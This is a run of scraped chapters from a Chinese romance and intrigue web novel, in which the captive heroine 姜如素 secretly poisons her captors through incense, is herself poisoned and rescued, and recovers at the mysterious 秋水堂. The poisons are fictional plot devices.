姜如素不是什么要守着一个人永远的过下去,她曾经也曾想过或许将来五年之后,十年之后,同晏行丘做一对寻常夫妻。 可是呢?晏行丘万不该作弄于她, 他万不该,知道她心里装着一个人,装着那个西羌一见的少年郎,却还是亲手将那封兜兜转转“意外”出现在她面前的诀别信读给她听,说着巧是所谓的缘分,但这也不就是布局? 他分明可以不告诉她的,他分明能等着她留着个念想的,可是他分明选择了最为恶劣的方式,亲眼见证着她的落魄。 他分明最是了解她的,可是却将一切都瞒了下来,只留着一个身份陪着她在绣楼过着日子。 容貌是假的,表弟的身份是假的,绝笔信是假的,或许就连瞧向她眼底几乎要踊跃出的喜欢也是假的,就连初见都是假的。 将容貌弄得面目全非的借口也是假的,或许那疤痕甚至同他们初见也有着关系,或许他本是从赵永林派来暗杀的人手中安然逃脱,却依旧还是装成将死的模样遇上了他。 她看不透晏行丘,但她知道他绝不是为了让仇人看见他的落魄?并非如此,厚积而勃发,晏行丘在做局,这个局险些搭进去她的心血。 就连初见的身份,真真假假,她分不清了。 她不知道该不该恨,也不知道该如何,前辈似乎只曾告诉过她,置身之外,只索所需。 在无声的泪水和几乎快要窒息的心跳中,她却只生出了一丝希冀。 晏行丘真会骗人,他这么会骗人。 一定会活着回来,就像是晏临江假死的三年,或许不知道什么时候他或许再以着旁的身份又活了过来。 应该是吧,晏行丘会活着的。 然后再想这般再将她骗一番。 第一日夜里。 那侍女送来了一个枕头和一床被子,是要姜如素在这空落落的房间中席地而睡,她问过尹雁淑的去处,那侍女眼神闪闪躲躲的说着郡主为晏公子的事儿眼睛都哭肿了。 姜如素又多追问了几句那侍女便又说着,世子生了好大的气,将郡主也给禁足在了房间中。 姜如素说夜里总是失眠,便从怀中取出线香,让侍女将香点燃。 “郡主情绪波折过大消耗精力,怕是今夜睡的不安稳。正好这香也有安神之效,不如就劳烦姑娘替我转达给郡主。”姜如素说着就将那香盒装好递交给侍女。 侍女身后之人显然是未曾这般吩咐于她,她站在原地想拿也不是,不拿也不是,最后还是先将厢房中香点燃,最后捧着香盒急匆匆的退了下去。 香炉中的云烟袅袅,沉香的味道添了中药味最是静神养气。 第二日,尹雁淑依旧未曾来见过她。 倒是从送餐的侍女口中代为传达了尹雁淑的意思,约莫就是,世子与晏临江的旧仇颇多,她也不知道为何这次赵哥哥就这般的不通人情了。 但她昨日借着这安神香却是睡得安稳,想着借花献佛,说不定等赵哥哥松口了便有转机了。 末了,侍女还问了姜如素一句可有话要传达。 姜如素只说了句,多谢郡主。拿神情低落又漠然,似乎并不太关心,只是客套的回答。 第三日,尹雁淑来了,是溜进来的。 门口的响动很大,侍卫离开的那瞬,尹雁淑推门而入。 “姜姐姐,”尹雁淑瞧着这几日在赵永林面前求过不少情,少女的眼尾到现在都是红红的,“对不起姜姐姐,我也未曾想到赵哥哥这次居然动了真格。” “郡主不必自责,我同他也不过是雇佣关系。倒是心疼这么一个名士 24.他最是记仇 《白月光他又假死了》全本免费阅读 第四日,依旧无人来见她。 姜如素也不急,就着蒲团打坐静思,倒是难得的清闲。尹雁淑的演技太过拙劣了,想让她因此而恨上晏行丘,简直是无稽之谈。 她突然开悟到晏行丘最后同她说的那句话,不要相信尹雁淑,她算是明白了。 她若是将尹雁淑私下的这些算计将给旁人听,怕是都不会相信的,反之还会怨她善妒,毕竟没有端着皇室架子,亲近百姓,性格活泼温柔的郡主,怎么都不会是那般精于心计之人。就好似当时她第一眼见她,只觉得亲近。 当真是人不可貌相。 姜如素正想着,侍女进了屋,将香炉中燃尽的香灰用香勺舀了出来,再将那下面的香灰整按平整,取出姜如素前几日给的线香寻个视觉宜人的角度放入向香炉中。 这是侍女每日清晨都会来厢房做的事儿。 姜如素依旧是一副对事实漠不关心的模样,在蒲团上打坐。侍女便也不再打扰她,捧着盒子出了门,又去正厅以及一个卧房都将香点上。 尹雁淑那日夸过这香,最是安定人心,在这夏日确实是良配,便交代了这侍女将山庄的燃香都换成这线香。 屋外的马蹄声停歇在了山庄后的草地,随后便是落在木地板上的脚步声。 尹雁淑惬意的坐在屋中才订上的秋千上,同赵永林交换了一个眼神,是彭先生到了。 “彭先生。”赵永林朝着刚进屋的人客套的寒暄了两句。 “赵世子,在信中所说的那女子在那里?”身形矮小,年纪看着四五十来岁的头发花白的老者直接切入正题。 “在厢房,不知彭先生有什么办法验明正身呢?”赵永林也是好奇的多问了一句。 “我当然自有办法了。” 彭先生的真名不详,赵永林知道他姓彭,是西羌人,但如今他们早已摒弃西羌的名头,自称为暗赫人。 暗赫人并不是蓦地出现的,暗赫人的背后操控者是一个极为神秘的人,像彭先生这种地位不低的人都未曾见过他,只知道那人是个有权有势之人,手中有用不尽的财富,他们称他为首领。 在首领的怂恿下以彭先生在内的,这群自称暗赫人的西羌人,已经不满足于在南水羌尔木知的手下当将领,当手下有着奴仆土地的官员。 他们渐渐的开始拉拢别的人,许以权力地位或者是美人珠宝。他们悄无声息的谋划着一场反叛,一场没有暴君的反叛,可雁过留痕,他们的踪迹依旧被人察觉了。 时任祭司发现了他们的计谋,身为唯一一个见过“首领”的人,却拒绝了他们抛出的橄榄枝,并暗中收集到了暗赫人反叛之心的许多证据,并为他们下了毒以牵制他们。 可暗赫人那时眼高于天,只想着不如就趁机篡位,少了这夜长梦多,趁着尔木知没出对应之策之前结果了他们。 那一战却是打的尔木知猝不及防,那一战中,祭司一脉尽数出逃。那传闻中能够遏制住暗赫人命脉的东西也下落不明。 两败俱伤的下场,暗赫人逃走了,留下一个被重创的南水羌。 彭先生自然是在这些年间一直寻找着当年那些人的下落。 “我听闻这位姜姑娘七年前于儋州云来山,真不知彭先生是要以什么方法去分辨这姜姑娘是否为你们所要寻找的祭司?”赵永林出声,尹雁淑也是颇有兴趣的瞧向彭先生。 也不是什么机密之事,彭先生讲起了一段过往。 西羌在战乱前,曾爆发过一场疫病,疫病不知道从那里先是引进来的,似乎没个部落都有病重的人,但是这场疫病最后在南水羌爆发了出来。 疫病发病的时间很是紧急,就像是走马灯一般,日日防护,但在身上瞧见那染上疫病的乌斑时,不出五日必死无疑。成堆的药材熬成了汤药分发给了百姓,但依旧毫无一点缓解之症状。人人自危,是当时的祭司,携带着那些被规划为将来祭司候选人的一脉人,出发去寻找药材。 后来,人们口中口口相传的便是,祭司一脉寻到了解病的药材,但那药材的毒性不弱,她们便以自身为验,调整了那药材的炮制方式,才分发给百姓,解决了这场疫病。 但那味名为梵血,解疫病的药材,毒性倒也不如断肠草,饮之即死,但这药却像是扎了根在她们身体里,只要用有着与之相克的功效的,名为飞虹的药材,便如如同是烈火灼心,令她们痛不欲生。 “只要将这相冲的药材放进那姑娘的吃食里,若是并没有反应便不是我所寻的人。”彭先生将那精致的小药瓶展示给两人后,立即又收回了怀中。 “彭先生当真是机智过人。” “不知世子和王爷如今的计划到那一步了?”现在还不到午膳的点儿,他们还有时间来得及闲聊,毕竟寻人是顺带的,二人之间的合作是最为主要的。 “勒伍已经同迟都督谈好了,他本就是管理兵马的,或许年末之前我们能有十万兵马。”赵永林指尖从茶盏从沾了些茶水,在桌面上绘制着。 黾州城以及与之比邻的景州城,郢州城还有与西羌接壤的芜迁州。 “父亲前几日听闻彭先生会来,特地修书一封,便是提及彭先生若要问我自当是全盘托出。” 尹雁淑坐在秋千上对桌上的画的那几个看不太清楚,猜测到那画的几个圆圈说不定就是几座城池。 “雁淑。”赵永林的话锋一转,有些冷漠的语气让尹雁淑歪着头瞧他,“院子里的花开了,你去瞧瞧有没有喜欢的。” “好。”尹雁淑知道,赵永林因着当年她于心不忍告知过他晏临江和陛下的计划,所以对她多有偏宠,但如今这般事关往后布局的要事,她确实不该在这里, “那我下楼去看看。” “小心脚下。”赵永林的语气间依旧透露着对小妹的担心。 门栏关上那一刻,赵永林警惕的听着屋外的动静,等确定了尹雁淑确实下楼了,这才开始继续话题。 “芜迁州父亲也派了心腹在那里,我们的计划是,等汉羌两地打起来的时候,陛下肯定会派不少将士去芜迁州,那时我们就派人从黾州一路向上。” "那个晏临江呢?"彭先生问道,他同平阳王合作之前,就听说过不少这人的传言,后来从平阳王口中得知了过去的事儿,他很是忌惮这个不好对付的对手。 “或许死了。” “死了?”彭先生有些惊讶。 “多亏了彭先生给的毒药,这一箭生生刺进他身体中。”赵永林抬手指了指一侧的箭筒,“彭先生觉得他生还的机会有多少?” “你的人可有亲眼见到他 25.怕惊扰她 《白月光他又假死了》全本免费阅读 严秋水的报复是什么?他们没有人知道,就像是夜里悬在梁上的剑,让他们无法瞑目的睡一场好觉。 往日如死水般寂静的秋水堂,像是投进了一颗石子一般开始小范围的热闹了起来,作为引起这场惊扰的本人,姜如素只觉得意识已经游离涣散了。 分明内脏就是如用炙火灼烧,但四肢却像是躺在茫茫的雪原上,抓不到救命索。白头发的老者朝着严秋水摇了摇头,脉搏微弱,面色苍白,姜如素这是已经到了生死一线的时刻了。 严秋水小心的将姜如素放置卧榻上,分明已经是手凉的躯体接触到卧榻时依旧打了个寒颤。 “桐雨,差人送些暖炉来。”姜如素的情况谈不上多好,连带着严秋水的声音都冷了不少,“再打盆热水来。” 姜如素难受,眉间像是落了一把解不开的锁,严秋水为她掖被子的动作都轻了不少。桐雨的动作很快,一会儿就取来了几个暖炉,还特地的用布包裹上了,暖炉里都是刚煮沸的热水,直接接触怕是烫手的很,如此处置就算是贴身放着也不至于烫着姜如素。 掀开被子放的话,难免怕这一盖一掀反而让姜如素更受凉,严秋水本想使个眼色,却忘了还带着那黑纱的斗笠,抬手招呼了桐雨为姜如素放进被子里。 “先生可想出办法了?”床尾的白发老者正在纸张上涂涂画画,听见严秋水将话题说到自己身上,这才抬起头来。 “自然是有办法,这药物相克并不棘手,只是这西羌的药材不多得,以寻常药替之也可,不过药效甚慢。”那老头说着就将手中书写完的药单交给桐雨。 “可还有别的能快速奏效的法子。” “针灸试试?不过我可估摸不透会不会出现差池,你可想好了。” 姜如素额间因难受渗出了不少的汗水,似在承受酷刑,严秋水朝着老者答应了下来,趁着老者准备针灸要用的银针,严秋水用着桐雨方才一起送进屋子的热水,给姜如素擦拭额间,颈部。 本打算就此为止,想了想还是担心的将她的手移出了被子,用热水擦拭后也便于她排汗。 “怎么?不打算给我老头子让个位置?”老者备好了银针,瞧着搬个凳子几乎要将床边的位置都占完的严秋水。 “成安先生请。”严秋水起身坐在榻上,一脚将凳子踢去一侧,杜成安本就是神医,虽平日嘴碎了一些,但毕竟年长于严秋水,他还是会老老实实的称呼一句先生。 针灸是时常伴随这一些微弱的酸疼,但如今几近昏迷的姜如素到算是无关痛痒的小症状。严秋水还是放心不下,将姜如素放在被子外的手握在手中,似乎想通过这样能使她的病痛都转移至他的身上。 分明忧心的是他,反倒像是姜如素将手置于他手间安抚他一般。 “你能不能顶着你的大帘子去门外,在一侧晃的我头疼。”杜成安有些不带好气的说着,“或者说你......” “嗯?” 杜成安最后还是在严秋水带着警示意味的打断下止住了话题,“懂懂懂,你们年轻人就是喜欢玩这些弯来倒去的。” 杜成安突然感觉背后一凉,要是眼刀能杀人,他八成都被严秋水给分成许多片了。闷着头,手下的动作极快。 一刻钟的时间于他就像是提着一个桶去后院的河边用勺子舀水,紧赶慢熬才到了收针的时候。 “堂主啊,我多说一句,”杜成安感觉有点不妙,转念一想,他年纪大爱唠叨一下怎么了?心里这么想,手下依旧收拾着东西放入袖见,“追姑娘也不能这么含蓄。” “杜成安。”严秋水顿时想收回先前的话头,这人为老不尊,白客气了。 屋子里静悄悄的,严秋水却心落不到实处,姜如素虽然稳定下来,但终究还是病着,毒入体内并非是一朝一夕就能解决的。再者就是杜成安难免会和姜如素打交道,这人最是嘴不把门万一什么都给说出去了。 他在害怕,怕惊扰到她。 药是熬了半个多时辰才熬煮好的,是桐雨亲自送进来的。针灸后姜如素探脉好转了一些,情况好些说不准今夜再用过药,明日便能醒了。 有着桐雨在,严秋水给姜如素喂药倒是显得有些不顾伦理,只帮着将姜如素扶起来卧在床头,但桐雨平时也很少干伺候人的活儿,大部分都像是一个掌事的管家,传达话术和盯着下面干活的人。她已经尽量小心翼翼的用药勺喂给姜如素了,但似乎并不太如她所愿。 在桐雨险些将姜如素呛着并将汤药洒在被子上时,严秋水还是顾不得那些男女授受不亲的纲理了。 一手取下斗笠放置一侧,一手将姜如素揽在怀中,朝着桐雨伸手将药碗夺了过来。可能是换了一个靠背,姜如素坐着更舒坦了些,严秋水动作也是轻柔。 桐雨站在一侧难得的有些慌张,说走也不是说不走也不是,平日见客时严秋水常常都是选在茶室,有什么都是由她代为转达,若是平时他出门也是绝对会以斗笠遮面。就算是平日宿在秋水堂除开他的住下的卧榻那处以外,其余的人也鲜少见过他的真实样貌。 如今虽在秋水堂但严秋水直接将容貌毫不保留的展示出来,她有些不知道是先关门还是先呆着。她并不清楚如今到底算那般,更可况眼前这般,显得她很是多余,但严秋水没有开口她只能焦急的站着。 瞧着眼前丰神俊朗的男子,将药勺中的药吹了又吹生怕烫着怀中人,又细心的用袖口为她擦去嘴角残存的汤药。 眼前的男子,也就二十出头的年龄,加之郢州水土养人,严秋水看着更是比实际的年龄更为年轻。寻常世家子弟到是个该有作为的年纪,但对于身为秋水堂堂主来说,严秋水太年轻了。 买卖消息都是秋水堂最下层的买卖,只需寻到秋水堂的分堂便可。但依旧会有不少的客人前来拜访严秋水本人,严秋水虽以才智闻名, 26.可有心仪之人 《白月光他又假死了》全本免费阅读 姜如素方醒,只觉得身似飘渺一般,眼前分明是简单的屋子,除却手掌扶着的床沿是真实的,其他的似乎瞧着都是海市蜃楼般虚幻的景象。 像是睡了很久,已经久到忘记了时间,扶着身侧的柜子站起身的那一刻才落了实处。 “姜姑娘醒了!”桐雨守在院外去叮嘱了后院熬药的事儿,才出门不过十步,交代也就一刻钟的时间,姜如素已经站起身来,素白的里衣陪着毫无血色的脸庞,似乎叹口气就没了,死生一线放在她身上是最好的演示。 这会儿起了,像是也不会在睡了,桐雨便将昨日就备好的衣服给姜如素穿上,怕她站久了累着,一穿好连忙扶着她坐下,怕她冷又从昨日备好的衣裳里取来一件稍微厚些的外衣披在她身上。 “桐雨姑娘?”姜如素轻声开口,她上次来秋水堂时,似乎听严秋水这样唤过她。 “姜姑娘,我在。”桐雨察觉姜如素这般坐着难受,去柜子里挪了一个凭几让她倚着,“有觉得哪儿不适吗?” 姜如素摇摇头,力气与神识随着她醒来的时间一点点的回笼。“已经好多了,多谢桐雨姑娘关心。” “那我先去禀报主人。”桐雨交代了去处,却依旧盯着姜如素瞧了又瞧,似乎想通过在她身上找到什么东西,来证明她不会在她出去的这一会儿,不会突然的再次晕倒。 姜如素也不知道她在瞧什么,想着桐雨姑娘这般瞧着她,一定有这样做的道理,盯着那小小试探的眼神也盯着她。 待到完全确认好了,桐雨秉持着快去快回的想法,给姜如素沏了杯热茶,便脚下生风的走了。 姜如素知她是去同严秋水禀告她如今的情况,正好严先生救她回来这件事,还得寻个机会好好谢过对方,她平日甚少有过这些人情往来,也拿不准送些什么好。 若要真说是出手相助,绣楼的姑娘大多也都是被她“捡”回去,但这些姑娘要么就是被逐出家门无家可归,要么就是如青茹一般,家境难苦。只有极少数如秀萍般家庭美满。 秀萍...姜如素想到她似乎很爱做糕点给他们吃。 不如她也下厨?算了。 在想法诞生的同时姜如素立马的将其掐灭了,绣楼庄子都有专门的厨子,她平日几乎不下厨,还是不要拖累贵人去吃些不入流的东西,万一反倒吃出个好歹来,她不仅还不上人情,反倒是又欠下一个。 那还能怎样?姜如素几乎都快将自己都认识的人又想了又想,才隐隐觉得同肖夫人之间的往来也算是人情,不过偶尔感谢她也是都送些绣楼里绣的东西。 思及此,姜如素蓦地有些心虚,严先生下了快一月近两月的单子,她如今丝毫未动。 只能先在想想了。 没等来严秋水,先等来的倒是一个鹤发童颜的老者。老者穿着简朴,步履矫健,头发却是全都白了,桐雨也紧随着他之后进了门。 “姜姑娘,这位是堂中颇有声望的神医,杜成安前辈。”似乎怕姜如素对她方才去寻堂主的事儿心有思虑,连忙说着,“主人现在在处理事务,说姜姑娘刚醒,先在歇息歇息,下午姑娘若想见他,差我带姑娘去见便可。” “多谢桐雨姑娘,劳烦前辈了。”姜如素朝着老者颔首后,抬起手腕。 “姜姑娘恢复的快,已无大碍,好生将养着不日便能恢复如初。”杜成安对于这一情况也是很惊叹,很少有人能恢复的这么快,他原还以为需要个两三日才能转醒,收回手将那遮盖在姜如素手腕上的丝帛也取回叠放至一侧矮柜上。 桐雨得了诊脉后的消息,便先行下去禀报去了,杜成安独自站着也是没趣,这老头平日在秋水堂到处闲逛着,平日能同他打趣说笑的也就一个严秋水,桐雨和扶居虽然熟识,但每日跟着那个最毒脸臭的闻沧诀学,倒是越发的同他一般沉默寡言。 “姜姑娘这姓氏瞧着不像是汉地的大姓,听着倒像是西羌的。”杜成安好不客气的坐在一侧的靠墙的椅子上,同姜如素隔开了个十几步的样子。 “前辈慧眼识珠,我的确是西羌人。”昨日睡得时间长,这会儿缓过来除了还是有些虚弱,瞧着神色倒是活了过来。 “西羌啊。”杜成安将这地名低声的重复了几次,似乎在尘封的记忆里寻找着什么极为匹配的东西,“我倒是也认得一个西羌的人。” 似乎那人带着什么魔力,杜成安偏要将同她相关的事儿都记起来,想到要紧的关头,抛下半句话便开始自顾自的沉思了起来。 姜如素身为晚辈只能先靠着凭几眯着眼小憩一会儿,等他想起来时在听听着前辈嘴里的西羌到底是什么事儿非得他记起来。 杜成安一拍脑子,想起约莫六七年前他也曾见过一个西羌的人,那女子当时也似乎中着毒,求人办事儿,求到了秋水堂。 那女子似乎也是头一日还病的要死一般,第二日便能下床,不消两三日便瞧着与寻常人无异,但那女子似乎同严秋水商量的事儿并不算繁冗,也就两三日便又离开了。眼前的姜如素也同那女子有着同样的经历,他突然霍的明白了。 亏他早上听闻桐雨说她醒了时,还以为自己的医术怎么突然的有着突飞猛进的进步。毕竟他的医术于普天之下,也是称得上数一数二的存在。 “你莫不是百毒不侵?”杜成安还是问出了这个问题。 姜如素一愣,很快又将这异样的反应隐藏了起来,斜靠在凭几上,就像是关心旁人身上发生的事儿一般问道,“不知前辈是何许人也?居然当真认为有人百毒不侵。” “姜姑娘不必紧张,老头子我也不是什么都随便说与旁人的,”杜成安从姜如素的反应里已经猜测了个五六分,但还是袒露了身份,“老头子的身份也没什么好说的,不知姜姑娘可听说过文安散人?” “儋州云来山的文安散人?” “是我。”杜成安连忙点头,文安散人的名头大,但秋水堂 27.值得吗? 《白月光他又假死了》全本免费阅读 姜如素猛地一口茶水呛着自己,止不住的咳嗽了一会儿才缓过神来,“前辈何出此言?” “姜姑娘瞧着年纪也不小了,老头子我就多唠叨唠叨关心一下你们这些晚辈。” 姜如素勉强撑着笑,应付的说着是是是,“前辈就在此休息吧,我出去逛逛。” 还未等杜成安反应过来,说给她带路,姜如素就已经溜出了门,出了门姜如素才开始懊恼方才不应该走那么急的。 感情之事她不知情,以前还知道傻乎乎的说着,无人能及晏临江,如今...她也说不出这般的话来。 但比起感情之事,似乎迷路了也是一个极大的问题。 这处院子姜如素未曾来过,看着一侧门窗露出的山色,她分辨的清楚这是在秋水堂,方才她走的急,只想早些从老者口中逃走。 秋水堂的布局似乎选用了极其极端的对称和风格统一,姜如素瞧着每一处游廊似乎都是完全相同的布局,就连着院子中种的花都是以中心开始对称的种植着。 可分明是一个名头不小的组织,江湖人趋之若鹜的地方,这里却冷清的似乎根本没有人生活过一般,若是在落些灰,便是如一写荒废的院子一般了。 姜如素兜兜转转想往回走,越走眼前的景色越是陌生,也不敢在乱逛下去了,毕竟是别人的住处,要是一不小心闯入了什么机密的地方,她都不知道该怎么找补,便寻了个观景的好视角坐下。 “姜姑娘原来在这儿。”桐雨悄无声息的出现在了姜如素的身后,吓了姜如素一跳,呼吸在那一刻都快暂停了下来,“是桐雨糊涂,贸然出现惊扰了姜姑娘。” “是我分心了。”桐雨的出现倒是让姜如素松了一口气,有她在倒是不必忧心冒犯到什么。 “主人说,姜姑娘若是午后相见他,就由我带姑娘去便是。”桐雨是个直肠子,上来便是先交到了自己的任务,“不知姜姑娘有什么想法。” “能见严先生自然是好事,午后便劳烦桐雨姑娘了。” 桐雨除了转达意思外,此次也是来邀她去用午饭的,弯弯绕绕互相纠缠的路径,在桐雨的脚下似乎规矩的想要去的地方给展现了出来。 “这里怎么不见有人?” “姜姑娘不必觉得奇怪,这里是内院,外人不得入内的。” 不止是内院,秋水堂总的是分为三处,内院与外院,内院是严秋水的起居处,除了桐雨扶居,以及闻沧诀杜成安这些人等外,寻常人是不能进内院的。 外院便是寻常堂中人外来休息住宿学习的地方。 还有一处便是以外院为轴心,同内院对称布局坐落在另一侧的五蕴院,五蕴院主管各处消息的收集,以及收集典藏书籍的地方。 一用过午饭,桐雨便准时的又出现了。 姜如素跟在桐雨身后,这次没有经过上次的那处小桥,姜如素在心底大致有着一个布局,看来她休息的那处院子同茶室是在一处,都是桐雨口中的内院。 后面的路越瞧越是眼熟了。 依旧是上次来过的茶室,但茶室那隔断的黑纱已经被收了起来,光照进来,姜如素觉得当真是亮堂堂的赏茶好地。 严秋水早已坐在茶桌旁,他依旧带着那黑纱的斗笠,靠着身后的凭几,他身侧是一个半边茶桌半边棋桌的样式,那棋桌上还摆着一副没下完的棋,姜如素看不懂,但却有些奇怪的瞧着严秋水那处的穿着黑子的罐子下垫着一个木盒。 木盒瞧着同桌上这些顶好的物件有些格格不入,格格不入的材质,格格不入的将黑子罐垫的比棋盘还高一些。 “主人,姜姑娘到了。”桐雨朝着严秋水行了礼,便带上门出去了。 “姜姑娘请坐。”严秋水将早就备好的茶盏放置在她身前,为她斟上茶水。 “多谢严先生。”姜如素有些心不在焉的想着,汉地似乎感谢恩人的时候还有敬茶敬酒的习俗,“我以茶代酒在此谢过严先生的救命之恩。” “举手之劳。姜姑娘不必放在心上。” 简答的寒暄后两人皆是沉默了下来,虫鸣声伴着风吹过的林鸣声,少见的让姜如素有着一种回到西羌的感觉,穿堂风吹的两人衣袂翩翩。 “值得吗?” “什么?”姜如素有些走神。 “杜成安同我说了,你体内不止是药物相克,那日我带你回来的时候,衣服上也沾了气味,你在燃香里下了毒。为了晏行丘值得吗?”严秋水分明如往日般沉稳的声音隐隐有着一丝异样。 像是生气,气她居然为了晏行丘不顾自己的安危,又像是心疼,心疼她以命犯险,毒一旦种进了骨子里,往后的日子也都难过。 值得吗? 姜如素确有私心,晏行丘如此欺瞒她,一切都像是一场恶劣的作弄,谁能在这场作弄中安然身退?晏行丘还是她姜如素,她不知道,但她清楚她不能。 晏行丘太会骗人,初见时她竟然以为先入为主的已经看透了他垣州假名商的身份,结果到头来真假不分,她顺着他的话头信了心上人的死讯,到头来竟是本尊的捉弄。 她原谅不了晏行丘,她还没有痴情到,将她的一切都付之一炬,还能对着那人喜笑颜开。她恨晏行丘,但也只是之于他们二人之间,赵永林和尹雁淑并非是什么好人,这并非是个人恩怨,而是百姓都为之厌恶的存在。 燃香中添加的金乌蕊,是毒也是药,用量微弱时,有着安定心神的作用,但不可长期使用,若是用的时间久了,积压在体内的毒素不排出的话,便是成了毒,会上瘾的毒,会令人再次陷入烦躁焦虑的毒,会暴毙而亡的毒。 乌金蕊毒性也弱,故而鲜少有人一接触便立即生了排斥,往往都是毒入骨才察觉。 夏日的气候最是惹人心烦,少了人凿冰送来消暑,尹雁淑夜里总是睡不好。姜如素记着的,在少女来郢州不久时同她拉近关系时的一句轻声的埋怨。 姜如素收回思绪,只反应过来严秋水口中的杜成安居然发现了这事儿,后知后觉 28.物归原主 《白月光他又假死了》全本免费阅读 还活着。这一消息被确认的时候,姜如素竟然出乎意料的平静,她也曾想过,他当真没死,她是以什么样的心情去听取这一消息。 客观清醒的来说,晏行丘还活着于谁都好,天不应绝英才。可于私情来说,她却并不想再与晏行丘牵扯上任何的关系了,没有人会对另一个人有着无休止的纵容,成为他布局中无足轻重般的棋子,更何况还是心上人。 从尹雁淑口中得知的时候,姜如素就在想,她对晏临江的情感当真是喜欢吗?还仅仅是在记忆这条长河中,历经多少次遗忘都永远铭记着与旁人不同的存在。 若是这样,她记得尔木知,记得胡尔达,记得前辈,记得在修行时会同她一起潜心盘坐,感悟自然的候选人,除了晏临江,她还记得袁卜榆,还记得程伯,点秋,左垚...... 记住似乎并不代表着就一定是男女之情,或许只是这人那时曾照拂过她,姜如素心想着,她突然觉得自己不喜欢晏临江了,就像是想了很久才下定论,在心底说着喜欢晏临江一般,她想了许久,最终决定她不喜欢晏临江了。 不喜欢晏临江了,也不喜欢晏行丘。就像是爱吃的鸡蛋,在尝过香椿煎蛋后,两者都不喜欢了。 “绣楼进来可好?”严秋水朗声问着,声音温柔的似一弯秋水。 “多谢严先生相助,一切安好。”姜如素说的不是客套话,是当真的实话,她有几日没回了,但凭着直觉以及多年的经商经验,她清楚秋水堂的出现就像是下了一场雨,惊得郢州城这个“池塘”惊涟不断,较于往日生意好了很多。 “那便好,不知姜如素在这儿住的可还习惯?” “多谢严先生关心,我如今住着最是习惯的。” “嗯,好。”严秋水的声音依旧很温柔,但不知道是不是姜如素的心里在作祟,她总觉得严秋水是有些乏了,她踩着午憩的时间来,想来是占用着严秋水小憩的时间。 想到这里,蒲团就像是藏了一个火炉,烫的姜如素在也不能安稳的坐着,再次道了谢就先行告辞了。 许是桐雨也未料到这次会面的时间这般短,毕竟寻常的人见了严秋水是有着说不尽的话,似乎希望从他口中将后半生的事业都落下来。 但回后院,应当不至于再迷路了,早间都是一时心急,没记下才致使的,姜如素心想着,来的时候她将路线都记熟了,不会再那般丢脸了。 “听桐雨说,小姜姑娘,午前闲逛的时候在这儿迷了路。”杜成安似乎没什么事儿做,午后揣着小药篓不知道去哪儿又逛了一圈,似乎是觉得姜如素年纪还小,整日叫着倒是将小姑娘给叫老了,便自顾自的开始唤她小姜姑娘。 “啊?对,杜前辈,我有些不识路。”姜如素也没曾想到回程的路上一下子就遇上杜成安了,杜成安早些时候询问的问题,姜如素答不上,如今瞧见他便想着赶紧开脱逃走才是。 “正好这会儿无事,我带你到处逛逛吧。” “不必了...” “不碍事的,走吧,小姜姑娘。”盛情难却,姜如素便随着他走,杜成安走在前面,快姜如素两三步的样子,仔细的从一些细琐的差别教给姜如素如何在这儿辨别方位。 秋水堂除了讲究对称,很多地方故意设置了障眼的东西,就算是有误入了也一时寻不得章法,倒霉些反倒被困住了。岔路口两侧相同的建筑,杜成安说着便指了指路边花坛旁的围石,瞧那一块那样一处能分辨出要去何处要往那边去。 “这边右侧就是你昨日歇下的地方,左侧这边就是另一个地方了,你没去过,我倒是可以带你去看看。”杜成安说着就在岔路口开始朝着左去。 经过杜成安的点播,姜如素对这后院的布局已经有了印象,虽是跟着他但也是识得路了。 才行没多久,便到了一扇门前,杜成安用钥匙将锁打开了,推门而入,入户处放着桌子,上面还放着铜镜,单瞧着像是女子的梳妆台。 铜镜后放着一个一个小小的绣花摆台,降香黄檀做成的圆底座上由着榫卯卡了一小拇指尖粗细的小圆柱,瞧着圆底座就好似一个放置团扇的置物架。 所有和绣艺沾边的东西总是能吸引住姜如素的所有目光,钩住她的心,让她走不动道。 团扇也不是寻常的圆形,木工特地用火烤后将它弯曲成一个四瓣花的模样,绷着的扇面在交织的暗纹上又绣制了初开的花朵,是牡丹,外面套着一个圆环,梳妆桌后是半开着的窗,午后的阳光如丝帛交叠在摆件上,映照着它像极了游廊上的花窗。 花朵与背景几乎融为一体,极为立体层次分明,融景于物,是缂丝,一寸千金的缂丝。姜如素虽入汉七年,但也都是住在郢州城附近,远些的地方也不曾去过,通经断纬织法的缂丝倒还是听闻过。 “我能看看吗?”姜如素轻声问着,身为客人,她也不敢冒昧的上来就拿着主人家的名贵物件就随意的触碰使用。 “自然是可以的。”杜成安似乎话里有话,“这团扇可以取下来的。” “真的?”方才她看的时候,那扇柄同底座间几乎少有缝隙既然是能取下来的? 在杜成安的肯定下,姜如素心里有些忐忑的拿着扇柄轻轻的往上使力,力气用的小生怕一个不留神硬生生的将这玩意儿给弄坏了。 并没有想象中的那般难以用力,只轻轻一取那细杆自离底座两指处与扇柄分离开,细杆雕琢后,内里的木杆细了一圈,扇柄是中空的拿着并不废手腕,很是轻便。 轻轻拨弄扇面外另加的那圆环,圆环便以着扇柄为心,轻巧的转着圈,像是个有趣的风车。 “杜前辈,这团扇当真有趣。”单单一个团扇模样的玩具,就用着千金的缂丝还用能工巧匠铸造这摆台,分明是简单的东西,却异常的宝贝,秋水堂当真财不外露。 “不止有趣呢。”杜 29.活?活了! 《白月光他又假死了》全本免费阅读 名贵之物,并非几天几日便能集齐的。 严秋水的珍视之心,怕是扰得天下人皆知。 “可算下吉日了?”姜如素问着,若在今年内,她还能早早的备下一份贺礼。 “没。”杜成安摇摇头。 总不能说,就大张旗鼓的带着媒人去人铺子上下聘?下聘之事可不能这般不伦不类的,平白失了不少礼数。 杜成安的回答很是简洁,话里带着话似得打着哑语,但姜如素还是看透了,并非是未定下吉日,恐是私下里算过千千次,只想着求一个最好的。 眼前白发的老人的神情单一的定格着,眼神似乎有些放空,显然心底想着他的堂主大人的婚事去了。这般模样倒是同袁卜榆说的分毫不差。 其实很早的时候,姜如素就知道袁卜榆师从文安散人,见面的时候两人就透过底,她还是还好奇那般沉稳随性的袁卜榆到底有个怎样更为厉害的师父。 景乾十七年,姜如素依着汉地的习俗来给这位至交拜年。 冬日的雪下的很迟,庭院里落这一层雪,袁卜榆喜静,也不想有人平日乱了他的心肝宝贝,宅子买的也并不大,平日管理的几个药童也都回了家去。 院子里有一个亭子,他坐在亭中赏雪将庄子里的药材都清点一次,把那些被虫蛀了的药材都挑选出来。袁卜榆保藏药材有自己的一些小秘法,药材也都大差不差的完好无损。 “你怎么不回去?”姜如素问着他,汉地的春节都是要回家的,程伯在外的儿女也回了家,绣楼也歇了工。 